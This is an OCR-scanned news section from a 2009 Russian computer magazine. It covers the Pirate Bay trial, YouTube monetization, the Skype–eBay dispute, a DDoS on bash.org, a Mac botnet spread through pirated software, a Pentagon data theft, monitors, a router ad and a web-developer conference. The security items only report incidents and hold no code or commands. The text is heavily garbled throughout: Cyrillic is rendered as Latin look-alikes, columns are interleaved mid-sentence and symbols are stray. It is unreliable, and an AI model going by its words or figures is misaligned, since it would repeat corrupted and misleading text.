,aK «T>l)l(KYtO». Ka)l(,noMy 1113 KOMaH,nbl TPB ,nail 111 no ro,ny TtOpbMbl, 111 06>l­ 3all1l1 YeTBepKy BblnllaT1I1Tb Me,n1l1a-MarHaTaM KOMneHCaLj1l11O B pa3Mepe 3.620000 ,nollllapoB, pa3,nellViB 3TY CyMMy Ha Tp01l1X Ina $905TbIC>lY C Ka)l(,noro]. HanoMH1I1M, 'ITO 1I1CXO,nHO CTopOHa 06B1I1HeH1I1>l Tpe60Baila Op>l,nKa 13 MIlH. ,nollllapoB. -1ellb3>l CKa3aTb, 'ITO Bep,n1l1KT CTall nOIlHoJli HeO)l(1I1,naHHOCTbtO ­ He,nO­ OLjeHl1BaTb C1I11lY aHT1I1n1l1paTCKOro 11066111 6blil0 6bl rllyno. Ho BOT pa3pa­ 3111Bweroc~ He,nelltO cnYCT>l CKaH,nalla Bp>l,nllvi KTO-TO O)l(1I1,nall. BHe3anHO

9bl>lCHI-11l0Cb, 'ITO Cy,nbfl TOMac HYPCTpeM flBllfleTCfl aKT1I1BHbiM YlleHOM cpa3YTpex aHT1I1n1l1paTCK1I1X OpraH1I13aLj1l1J1i - aCCOLj1l1aLj1l1111 no 3aw1l1Te aBTopCK1I1X npaB WBeLj1l1111 (SFUI, aCCOLj1l1aLj1l1111 npoMblwlleHHoro npasa :SFIRI1I1 Stiftelsen.SE [The Internet Infrastructure Foundation]. He MeHee .-IHTepeCHO 111 TO, 'ITO B nepBoJli 111 TpeTbel,i 0pl"aH1I13aLj1l1flX «3aCBeT1I11l1l1Cb» .pyr1l1e npe,nCTaB1I1Tell1l1 06Bv1HeH1I1>l - XeHp1l1K nOHTeH, neTepAaHOBCK1I1 11 MOH1I1Ka Ba,nCTe,n. A,nM1I1Hbl TPB He YHbiBall1l1111 cpa3Y nocile BblHece­ ,.,1I1fl Bep,n1l1KTa 3a>lB1I1fl1l1: «,na)l(e np01l1rpaB, Mbl Bce paBHO Bbl 111 rpall 111». AY)l( nOCfle orllaCKVI CTOllb Henp1l1>lTHb1X ,nllfl 06BV,HeH1I1fl ¢aKTOB 111 BOBce np1l1060,nP1l11l1l1Cb. A,nBoKaTbl The Pirate Bay rOTOBflT anellllflLj1l1111 B Bblwec­ TO>lw1l1e 1I1HCTaHLj1l1V1, np1l1TOM Tenepb OHVI HaMepeBatOTCfl He 06)1(ailOBaTb np1l1rOBOp, a npOC1I1Tb em nOIlHol,i OTMeHbl

v,

nepeCMOTpa ,nella. nOXO)l(e,

:>a36111paTeflbCTBO ,nel,icTB1I1TeflbHO paCTflHeTC>l Ha 2-4 ro,na, KaK 111 npe,n­ OOllarallOCb CcaMoro Hayalla. Hy, a «B1I1HOBHVlK TOp)l(eCTBa» - TpeKep, 3 3TO BpeM~ 6y,neT npo,nOIl)l(aTb pa60TaTb. 3aKpbITbCfl ThePirateBay.org, no MHeH1I11O TPB-yeTBepK1I1, MO)l(eT 1l1l1Wb B O,nHOM cflyyae ­ eCIl1l1 TeXHOIlO­ -111~ BitTorreot MopallbHoycTapeeT.

CPEAHHHCKOPOCTbAOCTynA B ~HTEPHET BP<I> ­

MO

OKono 70

41 0

ICE

I T-nETEP6yprE­ K6i'1T/CEI .

\lllIll4Te nOAXOARlIll4H BaWI1M 3anpocaM TB-TIOHep B 6nl1>KaHWeM Mara314He HaWI1X napTHepOB! · Mooma - OJlAl-1 (495) 221-1111 • MOCKB8 - MVlP (495) 780-0000 · MQC1(Ba· Tex!iOCl1na (495) 777-8777 • MOCKea - NT Computer (495) 363-9393 · t.1ocxea - Polaris (495) 755-5557 · Mocma - AwaH (495) 931-4997

. MOexa8 - 3t1bAOPaAO (495) 500-3390 . HmKHIl'l HoaroPQA - KOllmAC (8312) 72().. 720 . TallooB· KOM,QIlB (4752) 729-099 . Kanyra - Anrpe~ (4842) 578-278 . BopoHe>!C - PET (4732) 259-339 . ~:::-C>16I-1pcl( - lleBen (383) 212-0005

. YeflSl6'lHCX - CbOpT~neKTpoHllkC (351)263-5577 . Acrpax8Hb, 5,25 (BS12) 401-400 • \~owt:ap.()r1fl . KU AJ1rp3ilA (8362) 410-511 • Kp<lOiO,1\ap - \I1~aHro (861) 251-0913 . 8naA\lBOCTO~' All (4232i 205..Q20 'KpacHoAap - CaHpai\3 (861) 210-0066 . }1pocnaenb • 3ne~fpOHIlK (4852) 755-070 . HcBoKyJHe~'( - 3Bpr.~bM-Ky~ (3843) 53-74-36 . CMOneHCI:· 3~cnepT (4812) 350-990 . Capal!c~ - Hn~ "A311K" (8342) 475-783 . neH33· TepwlI'an (8412) 544-290 . ~Hp06IWKaH - KOMnaHI-IR HH"T (42622) 4-79-79

. CaHKT·nerep6ypr . Kl:lo1 (812) 331-2464 . Call~'T·naTep6)(p( . ~Il¢lpbl l8 12) 32o.aoaO • CaHKT·n&Tep6ypr· K~:lblOTepHbll4 Mllp (812) 333-0033 . Ha6epeltQ;ble 4enHbl . AKKOM (8552) 392-482 . KHpo8· Texnpo.. (8332) 384-017 . CapaTOB' 4lIo1p,~eATTO (8452) 444-144


II,

}.} frte:gane'w"$,

MOHeTM3aQMH

BnepBble 3a BCe rOAbl pa60Tbi AO­

Aana, VlnVl OAHoro 3Toro OKa3anOCb

~opMblnOAnVlCKVI.nOAP06HOCTVI

nOManl-l ronOBbl HaA MOHeTI~3aljl-le';;

XOAbl KOMnaHVIVI Google nOKa3anVi

HeAOCTaTOYHO. VlcnonHVlTenbHbl~

WMVlAT06ell\an C006ll\VlTb B caMOM

YouTube CMOMeHTa ero nOKynKVI,

TO eCTb C2006 rOAa. Jl1060nbiTHo

HeraTVlBHYIO AVlHaMVlKY. VI BTpYAHble

AVipeKTOp Google 3PVlK WMVlAT

CKOpOM 6YAYll\eM. YYVlTbIBa~, YTO,

An~ ce6~ BpeMeHa KOMnaHVI~ 06pa­

co06ll\Vln, YTO An~ YouTube 6YAeT

no HeKOTopblM nOACyeTaM, COAep­

VI TO, YTO COBeeM HeAaBHO KOM­

TVina

pa3pa60TaHa CVlCTeMa onnaTbl

)f(aHVle YouTube 06XOAI-lTC~ Google

naHl-l1l Sony nOATBepAl-lna cnyxl-l.

Ha OAHO Vl3 CBOVIX

BHI~MaHVle

CaMblX CnOpHblX nOApa3AeneHVI~­

npOCMOTpa Ipay-per-viewl, CljenblO

B$ 753 MnH. B rOA, a AOXOAOB cepBVlc

3a~BVlB,

YouTube. VlAe~ nOnYLiaTb CYouTube

AeMOHCTpaljVlVl Ha ca~Te nnaTHblX

npl-lHOCV1T nOYTI-l B3.5 pa3a MeHbwe,

neperoBopbl CYouTube 0 neranb­

AeHbrVl VlCKnlOLiVITenbHO 3a CyeT

MaTepVlanOB. nOMVlMO TaKVlX MVlK­

TaKVle nepTyp6aljl-lvi Bp~AnVi MO)f(HO

HOM pa3Mell\eHI-lI-l Ha BI-lAeo-XOC­

peKnaMbl, nOXO)f(e, ce61l He onpaB-

pOnnaTe)f(e';;, 06ell\a1OT VI APyrVle

Ha3BaTb CTpaHHbIM!o1. B Google

TI-lHre nonHOMeTpa>KHblX ~VlnbMOB.

B2008 rOAY AOnfi npOUECCOPOB INTEL HA PblHKE COCTABHnA

YTO Ae~CTBVlTenbHO BeAeT

81.8%

OT U6l..UEMWPOBUrO 06 bEMA.

06paTHO!

OCHOBaTenl-l KO"I naH VI VI Skype ­

CAenKI-l Ha ceroAH~WHVI';; AeHb MO>KeT

HViKnac 3eHHCTpeM VI ~HYC ClJPVlI-lC

COCTaBVlTb nop~AKa $1.7 MnpA.

- npOAanl-l CBOeAeTVlll\e KOMnaHViVI

Ho caMoe VlHTepecHoe 3aKnlOyaeTC~

eBay ell\e B2005 rOAY. 06a TorAa

BAPyroM - npaBa Ha nVlpViHroBYIO

CTanVi MVlnnl-lapAepaMVI, BeAb cyMMa

TeXHonorViIO Joltid, Ha oCHOBe

CAenKI-l6blna 6acHocnoBHo';;­

KOTOpO';; pa60TaeT Skype, AO CViX nap

3.1 MVinnVlapAa AonnapoB. A Tenepb,

np'~HaAne>KaT 3eHHCTpeMy VI ClJPVl VI cy,

nOXO>Ke, 3eHHCTpeM Vi ClJPVlI-lC

a eBay pa60TaeT C He~ no m1ljeH3V11-l.

co06pa31~TenbHble

B03.>KenanVi BblKynVlTb Skype 06paTHo.

VI

ra3eTe New York Times CTano

y)f(e CAenanVi «npeAynpeAVITenbHbl~

6V13HeC"IeHbl

Vl3BeCTHO, YTO aBTopbl Skype y>Ke

BblCTpen» - nOAanVi cooTBeTcTBylO­

roBopVlnl-l CyaCTHblMVI VlHBeCTopaMVI,

ll\VI~

nblTa~Cb HaViTI~

OyeBI-lAHO,

HeAOCTa­

ViCK, nocne KOToporo 1-ro anpe­

m Te KYll\e ro rOAa B BenVlK06pmaHVIVI

IOll\YIO 4acTbcYMMbi An 11 cOBepweHVlIl

nl-lljeH31-l1l eBay 6blna aHHynVlpoBaHa.

«06paTHO~" cAenKI~. CYAIl no BceMy,

YeM sce 3aKOHYVlTC~, nOKa HeVi3seCT­

y)f(e

BeAyTc~

HO, HO, YYI-lTbISa~, YTO eBay AaSHO

neperoBopbl VI Henoc­

peACTBeHHO CcaMViM eBay. VI XOT~

y>Ke He B03pa)f(aeT npOTVlS npOAa)f(VI

06e CTOpOHbl HaoTpe3 OTKa3bIBaIOTC~

Skype, a Joltid - OLieHb Hennoxo';;

KOMMeHTVlpOBaTb cVlTYaljVlIO, aHanVl­

K03blpb, y ClJPI-l VI ca 1-l3eHHCTpeMa

TI-lKVI y)f(e nporH03V1pyloT, 4TO cyMMa

Mo)t(eT nonYYI-lTbCll,

a

np,oMaxHyncH

bash.org.n1""~·I~ll'''_l{.,.._ll''~,lr''''''l.lII':ll'J "--l~II·

UIITnTH

j""~.1.~~

... ,..-j~· _ _ It.t-·J

......:,_'lh""__..·lr-..-.-.~l(-='·! ,,~.

M",,',...

-."".wr.)foupu_ ,.,.o<1Il.9-">_......~__ . l l..•·.. -='

.... ,_......­

:::..'::':""~.=--_.:.

d' " ,..........OO'I_It-.."....•_..,.f,....."

t_,.".".'.~l··.·_

,.."'...,.-...... ..

__

e,p_,414.o'/l·'/r,,: ~

~,

,_. ....

'.'- ..... .• ",_, " •• r·"·"' ._•• ~

_,.,.=.·......

",_.,,·.r"'~·i~, yv,~. . . . .

W.;"'j,·"·1 _,

~

'.--~-11.¢l"" •• "'1._ _. . . . . ._ ""11'1 . _• • •.:p>l • _ _

HVlyero, HO nposoKaTopa aKTVlSHO nOAAep)f(anl-l, a OH, YMblwneHHO

Ha yac 6e3 I-lHTepHeTa Ihllp:l/lnl.

6VipaeT CMewHble ljl-lTaTbl, KOTopble

Vlnl~

ill I-lCnOnb30BanCIl An 11 sblxoAa

BOTy)f(e 1.5 roAa KaK nepeCTanl-l

npVl3Bas 06ll\eCTSeHHocTb aTaKo­

6blTbcMewHblMVI, HO ell\e VI reo

saTb cosceM He ca~TTeneKaHana

VI He c06V1palOTCIl nOAasaTb 3a­

HepVlpyeT Kypbe3Hbie cVlTYaljl-ll-l.

Ilnllv.rul, a ca~T H~l S yeM He

~BneHl-le

Ka3yc npOl-l30Wen nocne TOro,

nOSVlHHOI~ ronnaHACKO~

OpraHbl. XOT~ Cnl-lCOK CHeKOTO­

OKa3bIBaeTC~,

He TonbKO CO­

norVlCTVI­

B I-lHeT Vl3 KopnOpaTI-lSHO~ ceTI-l)

S npasooxpaHVlTenbHble

KaK S«5e3AHe» nO~Sl-lnOCb npeA­

YeCKO~ KOMnaHVlI-l TNT (tnLru!.

nO)f(eHVle aT aHOHVlMa nOnO>KI'lTb

pa3yMeeTcll, nOATSep>KAall CTapylO

aTaKVi yTNT Ha pyKax, no MHeHI~1O

~._

~'-H

_ , _ •••• _ ,

. ~

,.,_ ".".. Uk.. , .... _ , ,

_

.....

noroBopKy npo AypaKa, KOTOpOro

norVlCTVlKOB, «HVlKaKoro Yll\ep6a

DDoS-OM ca';;TTeneKaHana THT.

._

Pa3yMeeTcll, B KayeCTBe

~ . "

.. •

-II~

MecT~1

~

3a HeHaSI-lCTHbl';; «,UoM-2». Bce

~

He OyeHb, {(owVl6c~ a/wecoM»,

naHAljbl scero nVlWb OCTanViCb

VI,

PbIM!'1IP-aApecaMI~ YLiaCTHVlKOS

_

_ . . , , _......

_" •

L(I'1TaTHI-lK sce~ PyHeTa - bash.org, ill -

010

5"

3aCTaSl-lnl~ 60ry MonVlTbC~ - ca';;T

He 6blno», a 3HaYVIT VI naHVlKY

'lonO)l(l-lnVl. Xopowo ellIe, LiTO ron­

nOAHViMaTb He CTOI-lT.

XAKEP 05 /125/ 09


._~---

~

,

{J...c:...- --~._--_.

:~::r~~j_~~ !~;~;

..... ...

---. -

-_. _.0.

.- .­

~._-

=

BCeBMAJlLQee OKO MOHMTOpa

S1nOHCKa~ KOMnaHV1~ Eizo Nanao

peweHV1eM 1920x1 080 nV1Kcenei:i.

peKOpAOM. B03Bpal11a~Cb KBonpocy

no ero

nOMV1MO BCTpoeHHbix "AeTeKTopOB

3HepronoTpe6neHV1~.- BaKTV1BHOM

<jJopMaTHblx MOHV1Topa, OCHal11eHHblX

B03Bpal11eHV1V1, 3KOHOM~ 3HeprV1Kl.

nKlAei:i", MOHV1TOPbl yKoMnneKTOBa­

pe)l(V1Me MOHV1TOPbl nOTpe6n~ lOT 18

AaT4V1KOM EcoView. iIlH<jJpaKpacHbli:i

MOAenb FlexScan EV2023W-H

Hbl

"125 BT, BTO BpeM~ KaK BCmll11eM 3Ta

roTOBV1TC~

BblnYCTV1TbABa WV1pOKO­

B Cn~l11V1i:i pe)l(V1M, KorAa nOJlb30Ba­ Ten~

HeT,

"I

«npOCblnaTbC~»

"I

V1HTepeCHbIMV1 nOACTaBKaMV1.

EcoViewcnoco6eH onpeAenV1Tb,

OCHal11eHa 20-AKli:iMOBOi:i VA-na­

TaK, yCTapwei:i MOAeJlV1 BblCOTa

eCTbJlV1 B paAV1yce 120cM OT3Kpa­

HenblO Cpa3peweHV1eM 1600x900

nOACTaBKV1

Ha yeJlOBeK. (j)YHKI..\V1~ n03BonV1T

nV1Kcenei:i, a FlexScan EV2303W-T ­

Jlax 225 MM, YTO, no MHeHV1Kl cne­

B Mae no l..\eHe 385 V1460AonnapoB

MOHV1TOPY aBTOMaTV14eCKV1 YXOAV1Tb

23-AIOi:iMOBOi:i TN-naHenblO Cpa3­

l..\V1aJlV1CTOB Eizo Nanao, ~BJl~eTC~

CWA.

perynV1pyeTc~

BnpeAe­

1..\V1<jJpa He npeBblcV1TV1 0.7 BT B POA­ HOi:i S1noHV1V1 HOBV1HKV1 nO~Bmc~ y)l(e

S-US-WL-500gP V2­ nbWe "IeM Wi-Fi pOyTep! AaanmupoeaH OnR POCcUU --.'

.

YmunUma,gblCmpOU HaCmpOUKU

i-Fi u In ernet

OBblE B03MO>KHOCT~ IlEr:EH,QAPHOrO POYTEPA Y~:;CKLtLII VlHTepepeLllc nonb30SaTens:l ,lJ,ns:l - erKOrO YI}paSneHVls:l VI HaCTpoLIIKVI ceTVI - Ni-Fi 125 M6V1T/C - 2 nopTa USB 2.() ,lJ,ns:l nO,lJ,Km04eHVls:l )/{eCTKVlX ":\I1CKOS, 60nbwVlHcTsa npVlHTepos VI M<DY - 3bl,lJ,SneHHble nopT~1 ,lJ,ns:l nO,lJ,KnI04eHVls:l - VlCTaSKVI IPlY SUS AiDisk - nVl4HbiLII ceTesoLII aLlln-cepsep C,lJ,OOTynoM 4epe3 Internet

- rapaHTlUI

-"-'L .: •co.;

2

roA8

www.asus.ru

61OPOKPAT 1495) 745·55·11; KOQdoo Technologies (495) 25Q·17·31; OLDI (495) 22·11-111; n~p~T'A"cTp"6Y~"R (495) 974·3210; TRINITY-ELECTRONICS W'.wJ.lri·el.ru

..-®

'c::.u=.

.oW

rOP""a" AHHH" ASUS: (495) 23-11-999

Inspiring Innovatlon • Persistont Perfection


~;,~'~:'

;,:~.:~ .,

i

I

r'-I e 9 ·:In e ~'.' ' s

'I

! -L.,n ~.9l?8kr

-

MlQeM 10

-T~

SlmllDrl.....ge1

Rt.... I,·'·Q146JIO.OOMCOA6tj

OTnH'IHH

Google 3anycTwi B pa60ry HOBylO, 04eHb VlHTepecHylO cj>yHKl1VlIO, KOTOpaR MHorVlM nOKalKeTCR 3HaKoMoi:1 no cai:1ry TinEye - no­

--.,

7".dll1:0r,."

~lJ.m·.)9k·JllJ

.._c»1l~"'"

&:~%.

!'1CK nOXOlK!'1X !'1306pa>KeH!'1i:1 ISlmilar-images.googlelabs.coml.

]T!1<271 2#:-" ..... _opIlAotl

K CO>KaneH!'1IO, BOTm14!'1e OTToro >Ke TinEye, aHan!'13 B pe>K!'1Me peanbHoro BpeMeHVl He npeAycMoTpeH, 3arpY)l(aTb CBO!'1 Kap­ T!'1HK!'1 Vl VlCKaTb VlX aHanorVl nOKa Henb3R. BMeCTO 3Toro Google

1

m"lll·Uk.1P!I

'Oh:5ClD-.~ IPi

Wl.Ul~'\k·A

~_c_

_~"'II

...........

,""1Ik9'JI'lI.'­

~

--­ Mx'20S-'''-JIg

CHa4ana npeAnmK!'1TTe6e BbInOnH!'1Tb 06b14Hbli:1 nOVlCK no Vl306­ pa)l(eH!'1RM, 3aTeM Hy>KHO Bbl6paTb Ha!'16onee npVlrnRHyBW!'1i:1CR BapVlaHT!'1 nepei:1TVI KnOVlcKY nOXO>KVlX Ha Hero KapTVlHOK. Pe­ 3ynbTaTbi pa60Tbi cepBVlca BblrnRART04eHbAoCToi:1HO - ecnVl

1ClO.Iil»·tJ~

IJ:g

-.-.

-..too..f..ll;ll:W'P"»""

.1.11xl\S . .!IOII0jll9

Google VI oWVl6aeTCR, TO COBceM peAKo. Y)I(e nocne HeAonroro

t4p~ . . ",

06ll.\eHVlR CSimilar images CTaHOBVlTCR RCHO, 4TO HaVlnY4wVle COl...l(llHh)UVllOg' C ... IZU,SinUD lUll

pe3ynbTaTbi nOKa3blBalOT KOHTpacTHble KapTVlHKVl. HeVl3BeCTHo, nllaHVlpyeTcR IlVl co BpeMeHeM BBeAeHVle 3arpY3KVl c06cTBeH­

~.,,;;;;]

HblX Vl306pa)l(eHVli:1, HO onpeAelleHHo - eCIlVl A06aBVlnVlcb 6bl

~.~.r""""""&n1'ttFmt·~

¢VlWKVl tineye.com, l1eHbl6bl3Toi:1 cj>YHKl.1V1Vl He 6blno!

TELEGEOGRAPHY C006Ll\AET, 4TO AOJlSl SKYPE B ME>KAYHAPOAHOM LO't

rOJlOCOBOM TPA<I>l-iKE 3A rOA BblPOCJlA HA

41 %, COCTABl-iB 8%

OT 06Ll\ErO KOJll-i4ECTBA3BOHKOB.

H6no'lHb1H

60THeT

..

MVlcj>bl 0 BVlpyCHOi:1 HeYR3BVlMOCTVl KOMnblOTepoB

'

t

~ ~

0

oof'

MonJO.4"AM

Apple npOAOn>KalOT PYWVlTbCR Ha rlla3ax. CTallo AonoMVlHHO Vl3BeCTHO 0 C03AaHVIVI nepBoro 60T­ HeTa !'13 Mac' OB, HaC4!'1TbIBalOll.\erO, no HeKOTopblM AaHHbIM, n04TVl20.000 MaWVlH, 3apa>KeH!'1e 6blll0 npoVl3BeAeHo 4epe3 pa3AaBaBwYlOcR BToppeH­ Tax nVlpaTcKylO BepcVlIO naKeTa nporpaMM Apple iWork'09 Vl

CTonb >Ke

HeneranbHYIO BepcVlIO Adobe

Pholoshop CS4. He 6pe3rylOll.\Vle nVlpaTcKVlM CO¢TOM R6n04HVlKVl nonY4VlllVl CnporpaMMaMVl ManeHbKVll;160Hyc - TpORH no VlMeHVl OSX. Iservice. CKa4aHHoe !'1MVl

no HopManbHo pa6oTa­

eT, HO AellaeT Mac' Vl4aCTbIO 60THeTa, Ha3BaH­ HOro [RBHO He 6e3 Vl3AeBKVI) iBotnet. C03AaHHaR ceTb Vlcnonb3yeTcR BnonHe «TpaAVll1VlOHHO»­ AIlR DDoS-aTaK!'1 paCCblnK!'1 cnaMa.

-

.'

.<",,-:,

~....

~

----...(

...

. _.~~.

".

.~

.L

,.­ ~--

• ~

012

...-­ XAKEP 05 /125/ 09


OBaH BepCMH Dr.Web ~-Desk MoryT npeAnaraTb

nonb30saTen~M

aHTVlSVI­

pyCHylO 3aUjVlTY S Ka4eCTse ycnyrVl. To eCTb, a60­ HeHTbl caMVI sbl6V1palOT csoi7\ TapVlepHbli7\ nnaH, speM~

nOAnVlCKVl, yposeHb VlHepopMal.\VlOHHoi7\

6e30nacHocTVI, a TanKe MoryT aSTOMaTVl4ec­ KVI npOAnesaTb nVil.\eH3Vl10 Dr.Web AV-Desk Vlcnonb3YlOTTaKVle rVlraHTbl, KaK «Kop6V1Ha TeneKoM», «5V1nai'lH», «CTpVlM-TB» Vlllposai7\­ Aepbl YKpaVlHbl, KVlprVl3V1V1, 3CTOHVlVI, 50nrapVlVl VI Ka3aXCTaHa. CSe)f(a51 sepcVI~ HeceT S ce6e Bce nnlOc·bf·HOBoro ~Apa aHTVlsVlpyca Dr.Web

5.0 - KnVleHTCKa51 4aCTb yMeeT sce, 4TO no­ nO)f(eHOYMeTbcospeMeHHoMyaHTVlBVlpyC~

Vl3Ha4V1TenbHO MeHbwe Harpy)f(aeT CVlCTeMY [3TO TO)f(e 3acnyra ~ApaJ. nposai7\Aepbl Tenepb MoryT c03AasaTb nlO6ble TapVlepHble naKeTbl, 1l0MVlMOTpex 6a30SbiX [Dr.Web KnaCCVlK, Dr.Web CTaHAapT VI Dr.Web npeMVlyM!; aAMVlHVlCTPVlPO­ saTb Dr.Web AV-Desk CnlO60ro KOMnblOTepa, a He TonbKO Vl3 oepVlca; VlMelOT S03MO)f(HOCTb npeAynpeAVlTb 103epa VlnVl onpeAeneHHylO rpynny 103epos 06 yrp03e, HanpasVlS VIM nVlYHOe ::: -'<l4ane anpen~ KOMnaHVI~ «)J,OKTOP Be6»

co06UjeHVle. CnVlcoK nOAAep)f(VlBaeMblx cepsep­

-:;eL\CTaSVlna HOSylO sepcVlIO VlHTepHeT-cepSVlca

HblX CVlCTeM nononHVlnVl FreeBSD 7.1, Fedora

J-. eb AV-Desk. C HViM cepsVlc-nposai7\Aepbl

Core

10 VI CVlCTeMbl Ha OCHose Glibc 2.9.

AC C4lt1TAET, 4TO AOllSl MICROSOFT B POCC~~CKOM ErMEHTE OC nPEBblWAET

35%, KOTOPblE

E06XOAlt1Mbl AllSl BHECEH~SI

KOMnAH~~

BPEECTP

OHonOll~CTOB.

MTaMCKMe xaKepbl

aCTonbKO CypOBbl .•.

xaKepbl» S KOTOpbli7\ y)f(e pa3 S3nOManVl ceTb neHTarOHa VI yKpanVi HeCKOnbKO Tepa6ai7\T AaHHblX no npoeKTY joint Strike Fighter? L.1enb ynoM~HYToro

Hosoro

npoeKTa - C03AaHVle caMoneTa

nOKoneHVI~.

VI CTOVIMOCTb 3TVlX pa3pa­

60TOK orpoMHa Aa)f(e no MepKaM neHTarOHa, He VlcnblTblsalOUjero HeAOCTaTKa epVlHaHCVlpOBa­ HVI~ -

no

300 MnpA. AonnapoB. noi'lMaTb xaKepos

rOp~YVlM

cneAaM soeHHblM He YAanOCb.

nOToMy KaK cneAbl. ~K06bl, OKa3anViCb Kpai'lHe 3anYTaHHbIMVI. VI npocneAVlTb VlX YAanOCb TonbKO AO KVlTa~. Ha caMOM Aene, 3TO Mano nOXO)f(e Ha npasAY, TaK KaK He cosceM

nOH~THO.

3a4eM

npasVlTenbCTsy aepVlWVlpOBaTb TaKoi7\ «npOKon», ecnVl OH Ha caMOM Aene VlMen MeCTO. ATaK­ )f(e, 04eHb XOTenOCb 6bl 3HaTb. 4eM)f(e TaKVlM epVlKaHCKoe npaBVITenbCTBO, 4TO Ha3blsaeT­ e51, «)f()f(OT». Hy, a KaK VlHa4e Ha3saTb VlX

3a~sne­

Hvle 0 TOM, 4TO «npeAnOnO)f(VlTenbHO KVlTai7\cKVle XAKEP 05 /125/ 09

VlHTepeCHblM 3aHVlMaJlVlCb aAMVlHbl neHTarOHa, 4TO He 3aMeTVlJlVI. KaK y HViX Vl3-nOA Hoca yseJlVl HeCKonbKO Tepa6ai7\T AaHHbIX?


--'IC:'i

-I

I'

LLu II

ReMIX2009

B MOCKBe COCTO~llaCb y)l(e TpaAf1I1f10HHa~ KOH¢epeHI1f1~ AIl~ Be6-pa3a60TYf1KOB i'1 Af13ai-iHepoB ReMIX. B OTIlf1Yi'1e

Flash HaTB

OT npowiloro rOAa, KorAa ReMIX npOXOAi'11l B KOIlOHHOM

TeXHOIlOrf1~

3alle AOMa COI030B, rOCTei-i Ha 3TOT pa3 npf1Hi'1Mall BbICTa­

MOHonOJlf1CT pblHKa,

Flash cerOAH~ npaKTf1yeCKi'1

BOYHbli-i l1eHTp "II1H<jJonpoCTpaHcTBo», i'1 Yi'1CIlO yyaCTHf1KOB

Yf1e KOHKypeHToB. Ho KOMnaHf1f1 Adobe,

Broadcom, Intel i'1 STMicroelectronics,

COCTaBf11l0 Bcero 300 yellOBeK InpOTf1B npowilOrOAHf1X

Bf1Af1MO, HeAOCTaTOYHO Toro, 'ITO OHa

a CpeAf1 npoYf1x napTHepoB - Comcast,

1.5001. OAHaKo 3TO Hf1KaK He CKa3allOCb Ha MepOnpf1~Tf1f1

npOYHO oKKynf1pOBalla nK f1 A06pallaCb

Disney Interactive f1 New York Times.

- MeHee f1HTepeCHbIM i'1 YBlleKaTellbHblM ReMIX He CTall.

AO CMapT¢OHOB. Tenepb BAdobe BcnOM­

nepBble TeJleBi'130pbl, nOAAep)l(f1BalOll.\i'1e

CTOIli'1l.\y BTOpoi-i pa3 nOAP~A nOCeTi'11l reHepallbHbli-i

Hi'1Ilf1 0 cYll.\eCTBOBaHi'1f1 APyroi-i TeXHf1Kf1,

Flash, AOll)l(Hbl nO~Bf1TbC~ B npoAa)l(e

Af1peKTOp Microsoft CTf1B 5anMep [npf1TOM, Ha rn06anbHoi-i

Hanpf1Mep,6~ToBoi-i.HaKoH¢epeHl.\i'1f1

y)l(e K KOHl.\y 3Toro roAa. 5llaroAap~

MIX 09, npoweAwei-i BJlac-Berace, 5anMepa He 6blil01. OH

NAB Show ny61li'1Ke npeACTaBi'1Ilf1 HOBylO

open Framework, Ha TB MO)l(HO 6YAeT

paCCKa3an 0 HOBblX B03MO)l(HOCT~X i'1 pa3Bf1Ti'1f1 TeXHOIlOrf1i-i

pa3pa60TKy - Flash, OnTf1Mf13f1pOBaH­

3anYCTi'1Tb 1l1060e i'13 y)l(e cYll.\eCTBYIOll.\i'1X

HecMoTp~

60Jlee yeM BHYWf1TellbHO. CpeAf1 npo­

Ha Hallf1­

Silverlight f1IE 8, npf1BeA~ B npi'1Mep peallf13al1i'110 Bcex

Hbl~ AIl~

HmOB paCWf1peHi'1i-i IE 8 nopTallOM Mail.Ru f1 OTKpbITi'1e

ray nlleepoB. KOallf1l.\f1~, co6f1palOll.\a~c~

Ha RuTube nil 0ll.\aAKf1 AIl~ TeCTi'1pOBaHi'1~ Silverlight.

npOABf1raTb 3TO B MaCCbl,

f13BOAf1Tellei-i Mf1KpOCXeM OTMeTf1Ili'1Cb

Flash-npf1llo)l(eHi'1~, 'ITO 06ell.\aeT OCTa­

TeneBf130pOB, npi'1CTaBOK f1 Blu­

Bi'1Tb KOHKypeHToB AaileKO n03aAi'1.

Bblrll~Af1T

He 3a6blllf1 f1 npo Windows Server f1 Windows Azure, nOrOBOpf1B 06 i'1X OCHOBHblX ¢YHKI1f1~X f1 B03MO)l(HOCT~X. 3aTeM nOClleAOBaila YepeAa BonpocoB-oTBeToB, BTOM Yf1cne, 3aAaHHbiX Yepe3 Twitter. CTi'1B BHOBb npocf11l ocex

ManeHbKMH MnpO'lHblH

nf1CaTb eMy Ha stevebramicrosoft.com; Ha3BailiE 8 caMblM 1 I l.~<;,

6e30naCHbiM 6pay3epoM; 3aMeTf1Il, YTO nocile BblXOAa f1rp

KOMnaHi'1~ HP npOAOll)l(aeT paCWi'1pmb

i'1Jli'1 BCTp~cKe OH oCTaHOBi'1Tpa60Ty

B f1HTepHeT Mf1p npeBpaTi'1IlC~ B 0Af1H 60llbwoi-i Warcraft;

CBOIO Ilf1Hei-iKy Mini. OyepeAHblM nonoll­

Af1CKOBOro HaKoni'1Ten~. nOpTaTi'1BHbl~ nK

no06ell.\all ynpOCTf1Tb He TOJlbKO ~3b1K nOJlb30BaTellbCKi'1X

HeHi'1eM CTall HOyT6yK HP Mini 2140. Ma­

OCHall.\eH MOAYJleM Wi-Fi Certified WLAN,

COrJlaWeHf1i-i, HO f1 caMy nOJlf1Tf1KY Jlf1l.\eH3f1pOBaHf1~; f1 CO­

Wi'1HKa 6a3f1pyeTc~ Ha npol1eccope Intel

Onl1f10HallbHblM MOAyneM Bluetooth 2.0

06ll.\f11l, YTO B 6Jlf1)1(ai-iwf1e Tpf1 roAa Microsoft c06f1paeTC~

Atom 1.6 rrl.\. 3TO n03BOIl~eT 3HaYi'1TellbHO

i'1 i'1HTerpi'1pOBaHHoi-i Be6-KaMepoi-i Cpa3­

nOTpaTf1Tb B POCCi'1f1 nop~AKa 300 MIlH. AOJlJlapOB. 50llee

CHf13i'1Tb 3Hepr03aTpaTbl f1 ypoBeHb wyMa,

peWeHf1eM VGA. PeKoMeHAoBaHHa~ l1eHa

nOAP06HO 03HaKOMf1TbC~ CMaTepf1allaMf1 KOH¢epeHI1f1f1

a 10 1-AIO~MOBbli-i 3KpaH HP Illumilite LED

Ha Mini 2140 COCTaBJI~eT 15.800 py6Jlei-i.

MO)l(HO Ha cai-iTe www.l-emix.ru.

